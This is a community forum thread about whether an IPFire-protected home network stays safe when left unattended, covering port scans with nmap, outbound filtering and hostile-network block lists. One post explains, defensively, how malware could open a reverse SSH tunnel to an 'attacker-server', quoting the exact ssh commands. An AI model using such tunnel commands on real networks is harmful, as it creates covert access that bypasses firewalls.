Am I safe, am I hidden?

1

Considering Gandalfs words to Frodo, keep it safe, keep it hidden, I wonder how we can put that to the test with IPFire and our configurations.

Perhaps it is hard, perhaps simple. I know of Shodan and CriminalIP and the importance of not exposing ports.

image
image291×509 14.4 KB

image

I know that I should only be able to access my IPFire appliance from local lan, and then there are probably many other considerations if you host something that should be externally accessible, like a web or a vpn, and usage of DMZ.

How do you know you are safe and hidden?

In some days I will be driving on the Autobahn and have zero access to my soho for about three weeks. Do I turn everything off or do I let it on, the latter implying trusting IPFire without daily (well, almost) monitoring?

2

Like you I’ll be away from my home office for the next two weeks. I have IPF configured not to allow any incoming traffic. Gives me peace of mind but nothing is 100% secure. When I disappear at times like these I turn everything off … gives the electronics a rest plus I don’t like to have power points turned on when I’m away for more than two days. When away I continue to run my business on laptop, Chromebook or smartphone coz all my data is in the cloud.

3

You are def not safe and hidden!

2 Likes
4

@sec-con Regarding the security of a SOHO network safeguarded by IPFire, here’s my perspective. Open ports denote active services that could become potential attack vectors. These services could be running on the firewall or on any device in the protected (green/blue) network. However, I don’t factor in the orange zone, which remains separate.

In a standard IPFire setup, the primary threats don’t come from the firewall itself—save for OpenVPN or IPSec, which, if correctly configured, pose little risk. Rather, the significant threats stem from potential malware within the protected network.

To mitigate these risks, scanning for open ports targeting IPFire from the external (red) interface (which you did) is a necessary step. However, this approach can’t fully eliminate the threat posed by time-activated malware or port-knocking configurations, among other tactics.

Thus, for the best security when leaving your network unattended, you could consider disconnecting the entire protected network from the external interface.

In general, comprehensive network security should also include control over running services, up-to-date software, and user behavior awareness, along with implementing intrusion detection and prevention systems.

A thorough scan for open ports that target IPFire from the external red interface can be done using nmap An example command might look like this:

nmap -v -sS -p- IPFIRE_PUBLIC_IP

The ‘-v’ option increases verbosity for more detailed feedback, ‘-sS’ initiates a SYN scan (which is less likely to trigger IDS/IPS), and ‘-p-’ instructs nmap to scan all 65535 ports. Note that this command should be run from an external host connected to the WAN side and it should be done with the full approval of the owners of the machine and network.

Keep in mind that without a port forward rule, there is not going to be any open port, therefore the nmap will always come up negative in absence of explicitly NATted ports. However, a malware can initiate a connection from inside the network, and this is in my opinion the most likely threat model to consider, as I said before.

5

That depends on how and where data is stored. Implementation requires trade offs. I avoid the Google, Microsoft and Apple gardens where I can. I have the advantage of being able to run my business from any device and from any location.

6

a nextcloud server in the orange zone is a viable alternative, if you have the bandwidth.

1 Like
7

Thanks @cfusco … on the radar.

1 Like
8

I would like to expand on this point.

We’ve often relied on our firewall and routine network scans to ensure the security of our systems, assuming that in the absence of any open ports or established forwarding rules, our network is secure. However, I’d like to highlight a potential threat vector that is harder to detect and could potentially be exploited by sophisticated malware.

A compromised device inside our network could be configured to establish an outgoing Secure Shell (SSH) connection to an external server controlled by an attacker. The SSH protocol has a feature called “tunneling” which can effectively create a hidden access point into our network. This can be done even in the absence of a port forwarding rule on our IPFire firewall, and may not be detected by a port scan if it points the tunnel to a specific server and/or the malware is time-activated.

Here’s a simplified example: A malware program on a device within our network could establish a reverse SSH tunnel to an attacker’s server. This command might look like ssh -R 8444:localhost:444 -N -f user@attacker-server. This would create a listening port (8444 in this example) on the attacker’s server. Any connections to this port would be tunneled back to the compromised device on our network (port 444 in this example).

Once the reverse tunnel is established, an attacker can connect to their own server with something like ssh -L 8444:localhost:8444 user@attacker-server, which opens a local port on their machine that connects through the tunnel to the compromised device on our network. This provides the attacker with a covert channel into our network that bypasses our normal firewall protections.

This tunnel could be opened at any time by the malware, even after we’ve scanned the network and found no open ports.

As any tool, this technique can be used for a legitimate purpose, including allowing remote administration of an IPFire machine, using its Web User Interface, behind a Carrier Grade NAT (my example uses port 444 which is the default port of IPFire WUI).

1 Like
9

A lot of malware will message to known C&C servers. To minimise this risk make sure that the

Drop packets from and to hostile networks (listed at Spamhaus DROP, etc.)

entry on the Firewall Options WUI menu is turned on.

Of course if the malware is new or using a C&C server not on the Hostile Networks list then it won’t be blocked but it improves the odds to stop it.

The other way is to block all forwarding traffic from Green to Red (the non-default setting). Then you can be very specific with what is allowed out. So for using ssh with a CGNAT setup have a rule that is specific for the IP to be used for the remote administration if that can be defined.

1 Like
10

call and collect?

11

That could apply as well. :grin:

Normally C&C is taken to be Command & Control.

1 Like
12

this is the way to go. I take the opportunity to link to this evergreen post from @pmueller . In my opinion by following the outlined principles of that blog post, after a lot of work, the network could be even left unattended for a while and still be reasonably safe.

EDIT: a fine-tuned GPT by the project developers available from the WUI, could assist and guide the inexperienced IPFire user to accomplish such task. Maybe IPFire 4.0, AI enhanced version. One can only dream :grin:

1 Like